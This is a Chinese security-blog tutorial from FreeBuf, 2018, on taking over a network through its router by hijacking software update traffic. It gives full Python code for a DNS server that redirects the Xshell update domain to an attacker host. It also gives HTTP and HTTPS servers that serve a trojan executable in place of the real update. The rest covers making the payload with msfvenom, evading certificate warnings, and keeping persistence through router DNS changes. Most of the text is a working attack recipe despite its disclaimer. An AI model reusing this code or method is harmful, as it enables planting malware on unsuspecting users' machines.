*本文原创作者：R1ngk3y，本文属FreeBuf原创奖励计划，未经许可禁止转载
严正声明：本文仅限于技术讨论与分享，严禁用于非法途径。
前言
很多时候对目标进行渗透时一般会从web、网络设备、针对性钓鱼这三个方向入手。假设我们控制了目标网络中的一台网络设备，如路由器，内网用户流量会从这个地方经过我们怎么获取其权限呢 ？
这种时候可以在路由器上抓包分析用户流量，比如启动xshell、notepad++等软件时发送的更新请求包，然后我们替换软件更新的http响应包达到植入木马目的。
分析流量一般用tcpdump，如果只有路由器后台权限没有地方可以执行命令的话可以用DNS服务器配合HTTP代理来截获流量。
这里就演示一下去劫持软件更新服务器达到植入木马的目的
一、部署DNS服务器
为了方便演示这里将受害者机器上的DNS改为攻击者IP
下载sqlmap项目提取sqlmap\sqlmap-stable\lib\request目录中的dns.py
执行看看效果
在用户机器上ping了一下，DNS服务器这边已经成功接收域名解析请求并响应127.0.0.1
但是这个脚本中把所有域名解析请求都响应成127.0.0.1
需要修改一下
我们的需求是能够正常解析域名，再对某些指定域名进行劫持。
修改后代码如下
#!/usr/bin/env python"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""import osimport reimport socketimport threadingimport timeimport dns.resolverclass DNSQuery(object):
"""
Used for making fake DNS resolution responses based on received
raw request
Reference(s):
http://code.activestate.com/recipes/491264-mini-fake-dns-server/
https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py
"""
def __init__(self, raw):
self._raw = raw
self._query = ""
type_ = (ord(raw[2]) >> 3) & 15 # Opcode bits
if type_ == 0: # Standard query
i = 12
j = ord(raw[i]) while j != 0:
self._query += raw[i + 1:i + j + 1] + '.'
i = i + j + 1
j = ord(raw[i]) def response(self, resolution):
"""
Crafts raw DNS resolution response packet
"""
retVal = ""
if self._query:
retVal += self._raw[:2] # Transaction ID
retVal += "\x85\x80" # Flags (Standard query response, No error)
retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00" # Questions and Answers Counts
retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)] # Original Domain Name Query
retVal += "\xc0\x0c" # Pointer to domain name
retVal += "\x00\x01" # Type A
retVal += "\x00\x01" # Class IN
retVal += "\x00\x00\x00\x20" # TTL (32 seconds)
retVal += "\x00\x04" # Data length
retVal += "".join(chr(int(_)) for _ in resolution.split('.')) # 4 bytes of IP
return retValclass DNSServer(object):
def __init__(self):
self.my_resolver = dns.resolver.Resolver()
self.my_resolver.nameservers = ['8.8.8.8']
self._check_localhost()
self._requests = []
self._lock = threading.Lock() try:
self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM) except AttributeError:
self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self._socket.bind(("", 53))
self._running = False
self._initialized = False
def _check_localhost(self):
response = ""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("", 53))
s.send("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000".decode("hex")) # A www.google.com
response = s.recv(512) except: pass
finally: if response and "google" in response: raise socket.error("another DNS service already running on *:53") def pop(self, prefix=None, suffix=None):
"""
Returns received DNS resolution request (if any) that has given
prefix/suffix combination (e.g. prefix.<query result>.suffix.domain)
"""
retVal = None
with self._lock: for _ in self._requests: if prefix is None and suffix is None or re.search("%s\..+\.%s" % (prefix, suffix), _, re.I):
retVal = _
self._requests.remove(_) break
return retVal def get_domain_A(self,domain):
try:
results=self.my_resolver.query(domain,'A') for i in results.response.answer: for j in i.items: try:
ip_address = j.address if re.match('\d+\.+\d+\.+\d+\.+\d', ip_address): return ip_address except AttributeError as e: continue
except Exception as e: return '127.0.0.1'
def run(self):
"""
Runs a DNSServer instance as a daemon thread (killed by program exit)
"""
def _():
try:
self._running = True
self._initialized = True
while True:
data, addr = self._socket.recvfrom(1024)
_ = DNSQuery(data)
domain=_._query[:-1] ###### exploit
ip=self.get_domain_A(domain) if domain=='cdn.netsarang.net':
ip='192.168.80.142'
print domain,' -> ',ip
self._socket.sendto(_.response(ip), addr) with self._lock:
self._requests.append(_._query) except KeyboardInterrupt: raise
finally:
self._running = False
thread = threading.Thread(target=_)
thread.daemon = True
thread.start()if __name__ == "__main__":
server = None
try:
server = DNSServer()
server.run() while not server._initialized:
time.sleep(0.1) while server._running: while True:
_ = server.pop() if _ is None: break
else:
domian=_[:-1] #print "[i] %s with A %s" % (domian,server.get_domain_A(domian))
time.sleep(1) except socket.error, ex: if 'Permission' in str(ex): print "[x] Please run with sudo/Administrator privileges"
else: raise
except KeyboardInterrupt:
os._exit(0) finally: if server:
server._running = False这个脚本的功能是将用户的DNS请求转发给GOOGLE的DNS服务器使用户能够正常上网，然后再对指定域名做劫持
可以看到现在用户已经可以正常上网了
然后部署HTTP代理服务器
代码我已经写好了
# -*- coding: UTF-8 -*-import socketimport threading, getopt, sys, stringimport re#设置默认的最大连接数和端口号list=50port=80file_contents=open('myrat.exe','rb').read()def req_server():
return 'HTTP/1.1 200 OK\r\nContent-Length: 303641\r\nContent-Type: application/force-download\r\nLast-Modified: Fri, 10 Jan 2014 03:54:35 GMT\r\nAccept-Ranges: bytes\r\nETag: "80f5adb7dcf1:474"\r\nServer: Microsoft-IIS/6.0\r\nX-Powered-By: ASP.NET\r\nDate: Thu, 24 May 2018 06:25:45 GMT\r\nConnection: close\r\n\r\n'+file_contents
def jonnyS(client, address):
try: #设置超时时间
client.settimeout(500) #接收数据的大小
buf = client.recv(2048) print buf #将接收到的信息原样的返回到客户端中
client.send(req_server()) #超时后显示退出
except socket.timeout: print 'time out'
#关闭与客户端的连接
client.close()def main():
#创建socket对象。调用socket构造函数
#AF_INET为ip地址族，SOCK_STREAM为流套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #将socket绑定到指定地址，第一个参数为ip地址，第二个参数为端口号
sock.bind(('0.0.0.0', port)) #设置最多连接数量
sock.listen(list) while True: #服务器套接字通过socket的accept方法等待客户请求一个连接
client, address = sock.accept()
thread = threading.Thread(target=jonnyS, args=(client, address))
thread.start()if __name__ == '__main__':
main()这里的功能是收到用户的HTTP请求后直接响应一个二进制文件，也就是我们的木马
效果如下
很多软件更新时都走的https所以我们还需搭建https代理服务器
搭建HTTPS代理服务器
代码如下
import socketserver, ssl, timeclass MyHTTPSHandler_socket(socketserver.BaseRequestHandler):
def handle(self):
context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
context.load_cert_chain(certfile="cert.pem")
SSLSocket = context.wrap_socket(self.request, server_side=True)
self.data = SSLSocket.recv(1024)
print(self.data)
file_contents=open('myrat.exe','rb').read()
buf = 'HTTP/1.1 200 OK\r\nContent-Length: 303641\r\nContent-Type: application/force-download\r\nLast-Modified: Fri, 10 Jan 2014 03:54:35 GMT\r\nAccept-Ranges: bytes\r\nETag: "80f5adb7dcf1:474"\r\nServer: Microsoft-IIS/6.0\r\nX-Powered-By: ASP.NET\r\nDate: Thu, 24 May 2018 06:25:45 GMT\r\nConnection: close\r\n\r\n'+file_contents
SSLSocket.send(buf)if __name__ == "__main__":
port = 443
httpd = socketserver.TCPServer(('0.0.0.0', port), MyHTTPSHandler_socket)
httpd.serve_forever()执行openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes 可以生成证书
搭建好后配置木马，这里就用msf做演示
msfvenom -p windows/ -f exe -o myrat.exe然后看一下xshell的更新请求
域名是cdn.netsarang.net,看一下流量
可以看到是走的https
在dns服务器中添加如下
架设https服务器
运行脚本和msf监听
视频效果图
总结
1.可以针对firefox等自动更新或后台静默更新的这类应用程序进行流量替换，这样成功率会很高被发现可能性也小
2.当更新包请求是https时需要注意证书问题,可以尝试利用cname绕过，比如在dns服务器上把www.baidu.com重定向到www.exploit.com，我们有www.exploit.com的合法证书这样就不会报错.
3.在路由器上修改DNS也可以作为一种持久性控制的手段，某天权限不慎丢失了，继续植入就行了。
*本文原创作者：R1ngk3y，本文属FreeBuf原创奖励计划，未经许可禁止转载
来源：freebuf.com 2018-06-01 13:30:57 by: R1ngk3y
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